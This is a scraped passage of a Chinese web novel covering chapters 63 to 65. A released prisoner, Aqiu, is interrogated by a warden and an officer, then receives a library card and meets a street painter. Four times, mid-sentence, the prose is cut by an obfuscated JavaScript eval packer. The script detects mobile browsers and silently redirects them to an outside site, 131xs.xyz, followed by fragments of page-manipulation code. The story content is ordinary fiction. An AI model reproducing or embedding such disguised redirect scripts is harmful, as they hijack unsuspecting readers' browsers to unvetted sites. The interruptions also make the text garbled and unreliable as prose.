p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303077|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她进一步解释:“为什么我故意这么做?因为我看不惯迦南小队长,就是想整他!他押我进镇时的动作非常粗暴,要不是终止式的克洛诺斯队长及时赶到,到了背阴处,我就要挨打了!” 权朱微皱了眉:“会么?” “太会了!像我这样的人,对挨打前兆的判断还会出错吗?所以这是一场彻头彻尾的私斗,不能因为有一方是公职人员就‘上升到公务高度’……”见多识广的典狱长你明白了吗? 权朱看起来是明白了:“加入终止式也是为了报答克洛诺斯?” 阿邱点头如捣蒜。不谈约定了薪水的合同以及直到现在都没吃完的海鲜大餐,从因果上看,就是这样没错了。 曾经搬着水仙花的豆子也缄默不语……可能是这段谈话的逻辑太通畅,他暂时没想到这块来。 这么一看,权朱的这段拷问简直称得上温和,对他来说只到日常“谈话”的级别,那根警棍也不过被他当拐拄,并没有发挥实质的作用——阿邱也搞不明白了,这究竟是勇气带来的好处,还是自由带来的。 “这就是全言语拷问的好处了。”权朱竟和她有些同频,神情中流露出了看到工作成果的欣慰:“算我老古板吧,我一直不赞同监狱系统引入非言语拷问,也许它存在的初衷是直通客观真相,但审讯官难免在拷问途中加入过多主观意识,靠这样得来的结论定罪是最不人道的——洛夫克拉夫特队员,你怎么看?” 豆子这才开口:“是的,审讯者主观是一方面,犯人在应激状态下也容易对真相失焦,反对调查不利。” 阿邱不敢插嘴。她隐隐觉得,比起上下级,这二位或许更像是相互监督的关系? 得到了赞同,权朱回过头来俯视阿邱:“如果你没有脱离我的系统,我不会赞成你拿取黑卡出来自由活动。” 他补充道:“被阿瓦隆神学院录取离不开你在狱中的努力,只上预科也太亏了。” 阿邱的心往下一沉。对不起,是她得意忘形了,事实证明,没有人配在审讯室和权朱展开“日常谈话”。 “但我又希望你是被特殊对待的。”权朱的笑容只在小范围内活动,比如现在,它几不可见地消失了,“算你运气好,刚开始新生活,马上就遇到了如此典型的坏人。” 这句话指的是库奇还是迦南? “过了这道坎,后面还有数不尽的表里不一、绵里藏针、脸上看不出好赖的家伙,你对人的了解太薄弱,将来准备怎么应对?” 别小看人了,同样是从小被关到大,只有天真、容易停止思考的塔桥才会上当受骗。 “我姑且相信你能处理表面上的恶意,可这种恶意不是终点,它顶多只能提高你对人的警惕。” 呃,要她说实话吗?其实手里没什么资源的人,就算典型如库奇,也不值得她警惕。 权朱偏头看看她:“又走神了?” 脚下传来金属从地板上撤走的声音,接触面积本就不大,这一声极为短促,就像利刃斩断鱼头。 警棍尖顺着躯干往上攀,停靠在下巴上。权朱稍稍用力,迫使阿邱抬起头、注视他似笑非笑的眼睛:“邱珊,你在听我讲话吗?” 80. 第六十三章 拷问(3) 勇气泡沫噼噼啪啪地破裂了。肾上腺素一撤走,汗腺里的恐惧失去了阻拦,阿邱冷汗涔涔地用初始的音量答话:“在在在,我都记着呢。” 权朱往下瞥一眼她打哆嗦的小腿,警棍往前探,深入到脖子和脑袋的连接处,把她的头抬得更高:“有件事你可能不知道,原本我在你进镇当晚就该到场了,路上又被别的事耽搁,那时候没来得及跟你交代的话,但愿现在说还不算晚。” 阿邱紧跟着接话:“您请吩咐。” “首先,希望你反思之前的经验教训、以后能更加谨慎小心地生活……” 又来?遇见曾经的囚犯,就连路过的狗都要说上这么一句,比“你好”更通用,翻译过来却是“你别想好”。 不过他的意思是——阿邱这才反应过来——进镇第二天,原定的主审官居然是权朱?好险好险,要不是他路上被耽搁了,阿邱可能刚在办公桌对面坐下就被连人带椅抬回塔尔塔洛斯了;感谢露娜、感谢恰比镇长、感谢耽搁权朱的人;直接把他耽搁没了岂不是更好…… 不怪阿邱神经过敏,方才权朱话里话外的意思,不就是他得罪不起希孚里亚市政厅、只得尊重他们的决定,但如果全权交由他来裁决,他也会主张关阿邱一辈子嘛?要是经历此劫,报刊亭仍对阿邱开放,她一定要重新翻翻《万事不求人手册》,寻找什么样的诅咒能彻底改变一个长官的想法,或者显化敢于耽搁他的人……民炮兵团。 愤恨压回了肚里,深入到嗓子眼的说教根本就听不进去,阿邱在思考对策:前面的事翻篇了,接下来怎么打听他来此地的真实意图?逮个人还用不着劳驾典狱长亲自出马,何况时过境迁,他也失去了名正言顺的机会——但愿!如果发现他确实有不可告人的目的,翻过的那篇就可以用强力胶固定在上一页了,阿邱的噩梦也会暂时告一段落,让她放心投入第二幕、过关斩将地一直往前走,而不是永无止境地和前情提要打架。 极其巧合的是,豆子这时候礼貌地打断了前情提要,因为“镇长已经教育过了,如果她真敢闹事,今天你们也不会在这里见面”,并问:“典狱长,我想你留在旧矿山镇不只是为了邱小姐的事吧?” 权朱竟然表示否决:“不,我就是为了她。当然也有我自己的私心,因为我感觉事业已经做到头了,应该在这个节点转变一下方式。” 一个官员把金饭碗称为“事业”,阿邱听了会止不住地大笑,但她这时候还没反应过来,满脑子只在惨叫“不要啊!!”所以留给一百年后的她对着回忆笑吧。 “也许你们听过出狱人员自杀率与出狱时长、社会化程度的关系——” 诶? 权朱叹道:“我是想改变这种情况,试着追踪一个案例,一旦发现苗头就出手干预,希望能从中领悟到新方法,让整个群体受益。” “不要追踪我。”阿邱干吞一口唾沫,“你也知道我不典型。” “是。”权朱弯了弯眼睛,“但我本质是个拈轻怕重的人,我选择先从简单的任务开始。” 被人当成“简单的任务”,阿邱不是很高兴,而且她根本不信权朱的话——除非他已经领悟到了新方法:想要降低出狱人员的自杀率,怎么办?那就别让他们出狱了呗。 警棍终于撤走了——没撤走呢!落在阿邱的肩膀上敲了敲,然后……太好了,总算下地了,脖子上的灰一会再擦除吧。权朱用拄着拐的姿势说:“你也不用草木皆兵,我会信守承诺,非必要不打扰。以后你就好好在终止式办事,把你交给克洛诺斯,我也比较放心。” 这是什么话?他还真把自己当监护人了?十几年来连正式见面都没有,还好意思说什么特殊对待! 阿邱敢怒不敢言。权朱沉声问:“听到了吗?” ……阿邱也不敢一直保持沉默。她用力点头:“听到了听到了。” “那么回到今天的案子。你如何看待库奇在遗嘱中的指摘?” 豆子在玻璃对面不是已经问过一遍了吗?他是刚把耳朵装上去吗? 权朱身体不动,仅用话语逼近:“不逃跑,是因为心虚?” 那被逮捕时不反抗就等于自首咯?反抗了你们又有话说,双重束缚是吧! 可能是豆子的问题给了她底气,阿邱用最后的勇气申辩:“无稽之谈。你们要是凭它定我的罪,全世界的浴缸厂都会找你去当代言人——是吧?你换位思考一下……如果动机不是开玩笑,也不是做生意,我实在想不到煞有介事地拿一个糊涂老人临死前的情绪发泄当事实证据是出于什么理由……” 你“们”就是她最后留有的一丝余地了。如果权朱要为这句话追责,道德压力会平均分摊给两个人,好、好自为之吧! 权朱暂时变成了立柱上的雕塑,挺拔地垂眸看向阿邱。片刻后,他转身离开:“我审完了。洛夫克拉夫特队员,你请吧。” 高压力场一撤走,阿邱危如累卵的人格和精神化成了一块一块的石膏,夸啦啦地碎了一地。离开了地狱,不对,是地狱离开了她,还有工作要忙:把警棍立在一旁,背靠在墙上,用小夹板飞速地写着笔录。 下半场的裁判豆子走近了。阿邱满怀期待地看向他,试图用亮晶晶的眼睛传达一种恳求:该问的都问完了,监工你走个流程就放了我,我会感激你一辈子的! 哪有这种好事。豆子停在阿邱面前,神情竟比权朱还要居高临下,他掂了掂手里的警棍,接着,毫不犹豫地,也伸进了沾灰的那块地方——敢情主审官就是来为他铺路的? 阿邱再次被迫抬头,也不知道她的下巴招谁惹谁了,怎么还轮流来呢?至此可以宣告通往人间的蜘蛛丝断了,她跌回……可能只是炼狱吗?脑袋比刚来时还木,她不敢确认。 豆子开口问话了:“早上干什么去了?” “……弄头发啊。”这还不够显而易见的吗?以及为什么他也要问重复的问题啊! “大老远的跑到夜莺巷弄头发?” “因为剪头man最便宜嘛……” “跟谁一起?” 阿邱紧张起来。她不能在权朱面前提起陌生的四十岁以下女性,便虚虚实实地说:“本来是一个人去的,店里又遇到了露娜长官。” 接下来的事得怎么编呢……她正烦恼着,豆子却是转了转警棍尖,另起一行:“叫你看住的那个人呢?” “……谁?” “你看你,以后谁还敢把重要任务交给你?昨天我们刚推测出双尸案真正的凶手,叫你回淡猫俱乐部盯着他,你倒好,小酒一喝出去做头发了,人跑了都不知道。” 墙角的权朱停住笔,抬头看向这边。 阿邱大张着嘴,发出一个表示困惑的音节。背对着权朱,豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308137|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子冲她快速地一挑眉,她立即会意,说道:“嗨呀,你不是还说不能打草惊蛇吗,我就想着跑得了和尚跑不了庙,大本营就在那里,谅他们谁都逃不出罗宾警官的手掌心……” “我完全理解前监护人的过保护倾向。”豆子打断她拙劣的台词,“确实是你的问题。” 阿邱强忍住说“呸”的冲动:“是,对不起我再也不敢啦。“ “典狱长有句话没说错,你的确需要特殊对待,因为你身体和心理都不健康,应该得到精细的照顾。”豆子快速撤走了一下警棍,戳戳阿邱的口袋:“但是你没有钱。” “是这样啦,可我觉得人类没有那么脆弱哎,日常生活中该干什么干什么,慢慢地自己就能调理好了;俗话说生命在于运动,停下来休养只会越休越生病——” “所以我们对你的要求不能太高。” 阿邱再次闭上嘴,心想,要是你身后那人也有这样高级的智慧,咱们也不必在这儿装模作样地一唱一和。 没错,这就是豆子的计划,看似是在拷问阿邱,实则拷问的是堂堂权朱典狱长! 从他的挑眉中意识到这点,阿邱顿时觉得自己沾满了灰尘的下巴也变高贵了,甚至有些兴奋起来——有意思,她愿意配合演出! “上午的报纸看了吗?”豆子又用警棍尖戳回她的喉咙:“爱丽丝·蜜丝缇半路被传唤了你知道吗?” 阿邱迅速接戏:“哦?这是要为佐伊·约翰逊平反吗?太好了!” “不……”权朱终于忍不住插话了,“是遗产分割出了点问题,为了节省资源,把它和凶杀案放在一起审理。” 警棍的金属质感传导到嗓音里,阿邱继续展示下巴演技:“可我觉得平反是迟早的事,就今天这个案子来说,淡猫俱乐部居然不向着舞男哎,我更加觉得约翰逊不会是真凶啦——” 许是不想让她说得太明白,豆子没接下茬,老练地开启了新话题:“今天本来还安排你去找加百列做谐律调同,看来也没时间了,但你的噩梦报告还得继续写,这也是为了工作。” “噩梦报告”?亏他说得出口。吐槽归吐槽,阿邱觉得还是交给豆子警官来主导吧,他这么说肯定有他的理由。 “我这不是让夜之窟的人扣住了吗,舞男helps舞男,都怕罪责落到自己头上,急着推一个不相干的人出去发言呢。” 豆子轻轻摇头,进一步给出提示:“你说你经常在噩梦中闪回狱中的记忆,导致你连夜失眠,工作也受到了影响——事实也是如此。上回你交来的信件汇总里,一页就连出了两个错。” 事实并非如此,她还一张纸都没上交呢……阿邱尝试跟上豆子的逻辑,同时也怀疑自己的揣摩——假如他们俩现在方向一致,豆子警官的演技,比她以为的还要生硬! 那么权朱对此也不可能没有察觉。想明白后,阿邱也破罐破摔了,声情并茂地说道:“对不起,谁叫我把那些对女囚图谋不轨的狱警的名字深深刻进了脑子里,为了不忘却,每晚睡前都回想三遍呢!” “哦?你是说的你脑内存有一份失格狱警名单?那你现在就说出来。”豆子假装不经意地一回头,像是突然发现权朱也在那里似的,馊主意箭一般地射了过去:“典狱长,正好你手里有纸笔,邱小姐先报着,你都抄下来,等回到塔尔塔洛斯再一个一个揪出来教训。” 81. 第六十四章 信任 豆子“欻欻欻”地铺好了路,阿邱提着裙子就往上跑,连压路机都省了,一点余地也没留。权朱被打个措手不及,这种场合又不好直接开门出去,只能由着邱老师一字一字地报听写,花了半个钟头,吭哧吭哧把名单抄完了。 豆子很满意,阿邱的满意比他少9,满分是10。根据这场审讯酷爱翻旧账的习俗,他抿着嘴组织了一下语言,接着问:“异端突袭当天,终止式、森林戍卫队都没有提前得到消息,为什么你会比所有人都先到那个——劲舞椰子小剧场?” 阿邱怔住。这个问题有些突然,她判断不出拷问的对象是和刚才保持一致,还是已经回到了正轨上。 为了颠到美少年跑死了一匹小仙马的噩梦向记忆中袭来。豆子在紫色玻璃后面问她:“你想一想,那时候我们还没正式给你派任务,私底下是谁引导你过去的?” 是牧笛…… 为什么要这么问?莫非他是在暗示“真凶就在淡猫俱乐部”不是随口编来取信于权朱的? 阿邱用消音小锤捶碎了玻璃,嘴巴不敢大动,几乎是用腹语反问他:“这和凶手在淡猫俱乐部有关……?” 豆子也一怔:“什么时候变成凶手就在你们俱乐部了?你不是说住在夜之窟的中段更方便盯梢整条街吗?” 阿邱赶忙大声说:“他们也经常去我们那边作客嘛!” 并用眼神暗示豆子:快别说了,权朱好像听进去了,要是他真带人去调查可怎么办? 豆子语焉不详地安抚她:“那种人最怕打草惊蛇了。” 因为他自己就是蛇? 从表情上观察,豆子的关注点显然不在这件事上。于是阿邱暗暗松口气,苏西,恭喜你的脑袋还能在脖子上多晃荡两天。 她回想着:“有件事很奇怪,那个人是看清了我的脸才朝我刺过来的……罗宾警官,你有什么头绪吗?” 有就怪了。豆子把目光从低头翻着一沓名单的权朱身上收回,继续在荒诞中寻找逻辑:“我有一种推测,无论是挑衅公职人员还是袭击平民,都不是出于那些人的本意,他们穷途末路、听令于人,有一个基本的任务,还有一个‘最好也’的任务。” 阿邱却觉得有几分道理,而且她就是那个“最好也”。 豆子引导她,或者引导权朱思考:“你觉得,什么人会被逼到这种程度?” 领导让干嘛就干嘛,自由也没有,资源也没有,独立思考也没有;除了一条道走到黑,退路也没有;脑袋悬在裤腰带上,今天不干活,明天就完蛋。 结合当下的情境,阿邱胆战心惊地猜测:“逃犯啊?” 豆子微瞪大眼,嘴巴也拢圆了一点:“说什么呢!你是在质疑塔尔塔洛斯的管理水平吗?用你脖子上的那个球体想一想,怎么可能一下子跑出来这么多逃犯呢?当狱警是吃素的吗?” 他的指向性如此明确,事后装纯是不是也晚了?阿邱不敢看权朱,甚至有点替豆子捏把汗了。 “最后一个问题。下次袭击是在什么时候、地点?” 问我啊?我还真知道,但你是怎么知道我知道的?阿邱心里满是问号,嘴上却必须即时配合:“露天剧目《鹳的报恩》,具体哪一场不清楚……” 得到答案,豆子长出一口气,撤走了警棍,胸腔和肩膀都往下降了几寸。 带着刚才的情绪,阿邱腹诽着:作为在场唯一的审讯官,他有什么好紧张的! 豆子收了势,走向形式上的主审官,口中抱怨不住:“问了半天什么都没问出来,我果然还是没办法相信前服刑人员,要不是队长坚持,我当时就该反对她加入终止式。” 按照阿邱的理解,他这话逼出了权朱的帮腔:“可能是场合不对,邱珊至少脑子还算清醒,培训一下会是个不错的线人。” 是信使!阿邱把小眼神限制在自己的手指上,仅在心里愤恨地说。 “况且也不是什么都没问出来,比如袭击者的下一步计划,我就觉得很有参考性。”权朱若有所思地瞥向她:“只是不知道她从哪条渠道得到的消息。” 好得很,阿邱的冷汗阀门又被拧开了——它确实一直握在权朱手上。 背对着她,阿邱也能听出豆子拢圆了嘴巴说:“哪里的话,要不是典狱长坐镇,这个狡猾的家伙怎么会老实交代?线人就算了,克洛诺斯队长主张按专业的信使培养……” ==== 一套耗费将近四十分钟的繁琐流程过后,阿邱被森林戍卫队的其他书记官通知“可以回家了”,后面还跟了一句带着歉疚的“应该还赶得上饭点”。 这算是无罪释放?阿邱欢欣雀跃,又不敢在人家的地盘表现得太明显,正要离开时,豆子追上来逮住了她。 怎么一个个的都喜欢揪她后衣领啊?急着要出去欢欣雀跃的阿邱气得左拳怼右拳,听得豆子在和权朱打招呼,权朱回复他:“是的,我回去重新整理一下,向星罗郡方面提交一篇报告。” 什么报告啊?阿邱暂停微小的挣扎,回头看权朱。 正巧权朱也在看她:“蜜丝缇夫人还在路上,我跟那边的法院提一嘴真凶可能另有其人,不敢保证一定能替现在的嫌犯平反,最多只能延缓开庭,给你们留出更多时间去寻找有力的证据。” Yes!阿邱情绪高涨,蹦蹦跳跳地走在大街上,又不敢过于高兴,怕躲在暗处的不高兴的坏人击毙了她。担心老迈的豆子脚力不济——没有拿他当盾牌的意思,她倒退着回到他身边,还捶了他胸口一拳:“真有你的,罗宾警官!” 豆子吐出一口老血:“我干什么了我就……” “还装呢,我以为你说可以借权朱的手是为了打发我,结果你还真敢这么干啊!”手段比较拙劣就是了。 豆子扬着眉毛搓了搓鼻子:“碰巧而已。” 阿邱简直怀疑他对夸赞过敏,于是凑到他跟前夸得更响亮:“不许这么说,你就是全东城最信守承诺的人!” “我是北城人。” “北城已经有克洛诺斯队长了。” “那你还是不够了解他。” ……是要怎样! 罢了,他爱闹别扭就让他别扭去。阿邱看看天色,忽然发现一件事:“哎?审讯还没结束,你这么早就出来可以吗?” 豆子躲避她视线的意图更明显了。但同行到一半也不好敷衍过去,只得语速飞快地承认:“约定好的主审官本来只有典狱长一个人。” 也就是说,豆子是听说阿邱被森林戍卫队提走,闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325016|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着味就来了? 阿邱大受感动:“罗宾警官,你可真是及时雨啊!要不是你,我怎么死在那人手上的都不知道——” 豆子眼一眯,恢复了以往的态度:“你是真的害怕权朱吗?” “那还能有假啊?” “前面说得好像他怎么你了似的,见了面之后,又把人家怼得一愣一愣的?” “呃呃,那只能说明我是个潜在的吵架王……” 豆子摇摇头:“就没见过你这么强词夺理的时候。” 或许恐惧到极点真的会转换成愤怒吧。阿邱嘀咕着:“强词夺理又怎样,祝你永远也遇不到那样一个人……” “我参与审讯的主要原因是——”一听就知道豆子想到了更好的借口,在这打补丁呢:“如果你一害怕,把终止式的阴谋说出口了,我还能拦着点。” 阿邱很诧异:“你们还有阴谋?可我什么都不知道啊。” 豆子抬头望天:“就是取代森林戍卫队享受警民鱼水情的那个阴谋。” 这算哪门子阴谋?他才是真的强词夺理吧! 许是从归巢的鸟群身上找到灵感,豆子话语间的警棍又伸过来了:“玫瑰学派那段往事,到底哪句是真的?” 阿邱就有点熄火了:“你想知道的话,给我几天时间整理一下……” “算了,我不想知道,我对别人的过去不感兴趣。”又是一群排成人字形的鸟飞过,豆子目送它们消失在天边,换了种方式重建领导权威:“典狱长提到的出狱人员自杀现象,你怎么看?” “我?”如果豆子要的是一句真心话,阿邱只能说她很少思考这件事,毕竟她要么永远不会死,要么会死得很早;又怕用两团明火盯着她的豆子等得不耐烦,便选择了保守的回答:“人总有一死,生死本来就够无常的了,我从没考虑过自己动手。” “你最好真这么想。” 豆子拧熄了明火。阿邱跟着他已经走出老远了,越是远离森林戍卫队的驻扎处,她越是敢于打听不希望被“上面”知道的事: “罗宾警官,你知道魔女研究会吗?” “不知道。” 想一想再回答会显得更像真话。阿邱的补充说明也是随口扯谎:“是我们俱乐部的客人提起的,我送餐慢了,他们就说要把我送去给那个组织研究。” “他们不研究人体器官。” 这分明就是知道吧! 说到这里,她想起一件事:“对了罗宾警官,我没有内融病,你不要随便跟别人那么说。” 豆子也不问她是从哪打听到的,重新点燃两团火,问她:“不然是什么?你既不是老人又没有基础病,所谓的低血糖引起心脏停跳还是太牵强了。” 阿邱低头,揪起裙子的一角,手指搅动。 约莫过了五分钟,她轻声说:“罗宾警官,我向你保证,总有一天我会把真相告诉你的,在那之前,我还要自己想一想……” 她充分相信这并非交浅言深。她的话被人听进去、记在心里、还付出行动了,这种滋味实在太好,好到都让她有点上瘾了。 所以她想,生活已经一往无前地迈入了新阶段,她是不是也该放下戒备和成见、尝试真心去信任一些新认识的人了? 82. 第六十五章 破画画的 信任总是沉重的,没准儿能压垮一个前一秒还笑着的、一撅就折的人;再说了,豆子警官是好人,不代表他没有别的正事要干呀。 想想还是算啦!阿邱有一个当场投桃报李的方案——换位思考:“结果今天又没让你借成厉害的飞笺器……” “那个不用你操心,典狱长的飞笺器也可以跟几个公司的远洋邮轮内部通信,队长乘坐的就在其中,审讯开始前我请示过他,他爽快地借给我了。” 原来这才是豆子的心情看起来很不错的原因吗?心情波动简单到比鸟群的动向还好判断,这可不是好征兆。 阿邱忍了半天的嘴终于还是撅起来了:“你们俩私底下的关系啥时候变这么好了……” “不知道啊,我们的几次见面你不是都在场吗。” 哦,那就是她的问题咯? “你小心啊!典狱长的馈赠一定都在暗中标好了价码……” “就是标价他也会在使用结束前提出来,你把人想得太坏了。” 你知道为什么吗?直到这时,阿邱才真的有种酒醒了的感觉。因为你是男的,借另一个男人的飞笺器当然不需要付出代价啰。那个名单还有继续背诵的价值。 她压下情绪,笑着问:“队长他们在海上怎么样?” 四个沉甸甸的字让人——实话说吧,只有豆子的——一颗心落了地:风平浪静。除了半路被瓦德密尔市政厅派来的船客气地截停、带走了死者妻子,最大的困难是船上的饭一点也不好吃,克洛诺斯怀疑都是拿加热过的鱼类罐头凑合的,等他们下了船,首要任务就是去威丝塔芬的奥瑞利亚大酒店吃顿好的! 这场联络抚平了豆子的焦躁,但他仍旧决定明天去找露娜,试着提出约会邀请。 “做事要有始有终,不然显得我好像是为了飞笺器才接近她似的。” “你觉得还不够明显吗……” 阿邱的愧疚感消失了——尘埃落定,那就赶紧滚去约会吧,别耽误她的单线调查! ……不对,鼓励豆子赶紧约会,也是希望他早日走出只围着一个人打转的困局。 种种因素掺杂在一起,阿邱认为她应该对两人的关系起到促进作用:“你知道吗,露娜她有一个耳朵听不见,你以后可要善待她啊。” 豆子反问:“你不会今天才知道吧?” “呃……当然不是。” “我想也是。不然那么大个助听器天天挂她耳朵上,只有智障才会把它当装饰品。” 对不起阿邱就是那个智障。她低下头,正好捕捉到豆子正在把手伸进她的口袋,过敏地跳开:“你干什么!” 这还是她第一次用肉眼观测到豆子对人们的口袋做的事,虽说他的态度不像是在施展飞天大盗的偷窃技——把东西塞进去后还在上面拍了拍。那东西一晃而过,阿邱没看清是什么,疑惑地掏着口袋:“你怎么把通行证给我了?” 摸出来一看,这张卡比通行证要小一圈,上书“旧矿山镇市民图书馆B类借阅证”,下面用防水签字笔写着豆子的大名,“市政文化中心”的钢印威武地戳在那上面。 “这个你拿着。你想看书学习的话,以后可以刷它进镇图书馆,地址在902路窄街的上上站,站名就叫图书馆。”豆子看也不看她,打着哈欠说,“别嫌镇图不够高端,再怎么说,那也是黑曜石图书馆的支系,这又是专供公职人员的借阅证,除了机密文件,几乎每个馆的书籍都向你开放——反正放我身上也是浪费,不如给你这个没事干的拿去打发时间……” 话音未落,以一股野猪冲撞的力道,他的手臂被阿邱——伤重程度比拧下来稍微轻一级——扑上来紧紧抱住了。 “罗宾警官,你真是天下第一大好人,我最喜欢你了!” 崭新的生活就是不一样,有了自由,阿邱享受到了在大学院都享受不到的待遇!那可是图书馆哎,一般的书店怎么能跟它比?书店就是去掉低俗杂志的大型报刊亭,只卖教辅、圣诗集、新浪潮小说,还有阿邱不需要的写给女孩看的恋爱小知识。 她还是有点不敢相信,打听着细节:“我需要告诉馆员我是罗宾·洛夫克拉夫特本人吗?这样是不是不太好……” 豆子翻着白眼抽出伤痕累累的胳膊:“馆员没你那么死板,他们只认借阅证。” 是……是吗?只认借阅证不就是死板的一种证明吗…… 阿邱细细摩挲着借阅证的钢印,忽然打个激灵,小心地把它塞回口袋。下回取用之前,她应该戴好手套才对。 豆子看她那副模样,闷声说:“你只是借我的名字正常使用公共资源,又不是要取代我,哪里不好了?” 取代吗? 豆子看向远处的站牌,不怀好意地笑道:“你家门口的那群舞男倒是巴不得你早日取代他们。” 阿邱瞠目结舌:要是豆子觉醒了自我意识、在克洛诺斯手下彻底干不下去了,他去当江湖骗子表演读心术,保准有很多人用金钱表达“我就信他!” 她强撑着微末的英雄主义,认为她所做的一切不过是在给救世主之路开道:“那又怎样,舞男至少还有我可以恨……” 豆子打断她的救世主宣言,道出一个残酷的真相:“住在夜之窟的敌人越来越多了,对吧?” 过了差不多十秒钟,豆子刚除完湿的胳膊上又长出一只阿邱菇:“完蛋了,我可能真的要搬去跟你住了!” 阿邱菇蓬松又强硬地向他请示:“等这周过完,我可以天天跟着你出门吗?” “为什么要等这周过完?” “缓冲期……?” “我拒绝。” “嘎?!” “因为我最近不想出门。”豆子动了动还能自由活动的左臂,“伤口有点扯到了,得静养。” “啊,肯定是我那天扛你的姿势不对!”阿邱反省着,丝毫没意识到她现在的姿势再用力一点就能把豆子撕成两半了,“早知道我就该背着你,公主抱也不是不行——这还静养个什么?你快回医院啊!” “不要。” “为什么不要?队长你也联系到了,最近也没有紧急工作——” “因为我不想吃药。”豆子撇撇嘴:“好苦。我想吃肉。” 他盘算着:“去哪里吃呢?广场周边有家烤肉店刚开业,不知道味道怎样,说是牛舌第二盘半价,啤酒免费畅饮……啤酒你就别想了。还有我们那儿的北高地牛腱子拼盘、红酒猪颈肉——去不去?” 阿邱愣了一下:“说我吗?” 这是又要请她吃饭?那怎么行!车站就在眼前,如果豆子警官选择继续扮演酷哥,她还能接着和他同行;如果他非要当绅士,那阿邱只能找个借口开溜了。 “罗宾警官!!” 豆子被唬得一震:“又怎么了? “我想做个斗篷,观光手册上说这附近正好有家廉价布料大卖场,我想自己过去看看。” “那还真是‘正好’啊。”豆子眯眼:“我也去。” “哎?你别去你别去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329658|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不看男款的……” “行。”豆子不是个固执的人,从阿邱的臂弯中第二次抽出胳膊,插回失去了酷哥的手就会饿死的麦穗裤兜,转身走向公车。 “今天的事你写篇报告。”阿邱最熟悉的豆子的背影说:“周末和信件汇总一起交上来。” 怎么还有趁着告别临时布置工作的?早知如此,阿邱在他转身的一刹那就掀开井盖遁入下水道了。 豆子上了车,透过车窗,冲阿邱露出一个很矛盾的表情——面无表情的微笑:“记得不要超前消费,你还欠我三个金币。” 冷汗阀门偶尔也会掌握在他手上。阿邱当即立正:“我不敢忘!” 豆子警官又生气了吗?天知道。车开走了,尾气确实是比较黑的。 ==== 虽然当时很感动,事后一想,豆子警官的自作主张也有让人不爽的地方! ——就算没人来验证借口是真是假,阿邱也遵守约定地往布料大卖场走,一路走一路想、一路想一路不爽——那天凌晨在公车上没忍住说出狱警的黑暗面,目的是让豆子警惕这个表里不一的群体,而不是在向他许愿:豆子神、豆子神,请替我惩罚坏人吧,请替我解决问题吧。 事实也证明豆子人并没有神的实力。欺负权朱的腱鞘的确有点解气,但结构性问题怎么是一个名单就解决得了的?飞天大盗不懂什么叫监守自盗吗?换一种带情绪的问法:他以为这样就能打发了她吗? 但是的但是,感动依然常在。豆子警官可真是好人啊,表里如一的大好人!好人就该得到好报——那么拒绝做他狗腿子的宣言就越来越说不出口了…… 如此在纠结中转着圈,阿邱尾巴先行,拐进一条小巷,忽然脚下一顿,对她看到的场景倒抽一口冷气—— 有人在画画!还是骑着一架梯子、往一整面墙上甩颜料的巨大壁画!光天化日下画画是被允许的吗?这里还是十字城邦吗? 在她闯入前,小巷里只有三角梯骑士一个人。之所以颁给这人“骑士”称号,是因为她的骑术已臻化境,直把身下能让常人犯恐高症的梯子当成两条腿的延伸,杂耍般一会往前翘起;一会仅用梯子的一条腿接触地面、毫无保护措施地往后仰倒,然后在阿邱的心脏快要飞出喉咙口时,“哐当”一声落回原地;有必要时,竟还能螃蟹一样快速左右“走动”。要是晚上不点灯,眼神儿不好的人看到了她,恐怕要把“史前巨人在此作画”的新闻嚷嚷出去了。 回过神来,阿邱已经下意识地张开手臂拦在了梯子后面,做好了一旦画师摔倒就扑过去接住她的准备。画师也终于发现身后多了个人,她的牛仔背带裤和衬衫上早已沾满了一块一块各种深度的灰,看来是把自己淹没在颜料中、用心流状态鏖战了好一阵。 “什么事啊?”她从梯子顶端瞅着阿邱,语气说不上友好,但也没有不耐烦,声线是平常的女中高音,仔细听还带了点沙哑,和发型挺搭:是自然长成的大波浪,用一根细细的皮筋扎成高马尾,远看还有个形状,近看却有点乱糟糟的。 阿邱意识到自己的动作是在小看她,连忙收回胳膊,怯生生地问:“美术是……可以的吗?” 画师挥了挥手上的板刷,于是背带裤上又落了一块灰:“小镇上才没那么多规矩。” 